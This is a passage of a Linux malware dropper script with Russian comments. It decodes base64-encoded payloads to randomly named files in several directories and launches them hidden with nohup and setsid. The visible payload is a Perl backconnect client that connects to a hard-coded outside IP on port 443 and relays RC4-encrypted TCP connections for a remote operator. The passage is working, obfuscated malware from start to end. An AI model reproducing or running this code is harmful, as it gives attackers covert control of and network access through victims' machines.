ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #5 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #5 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 6 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNjQnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p 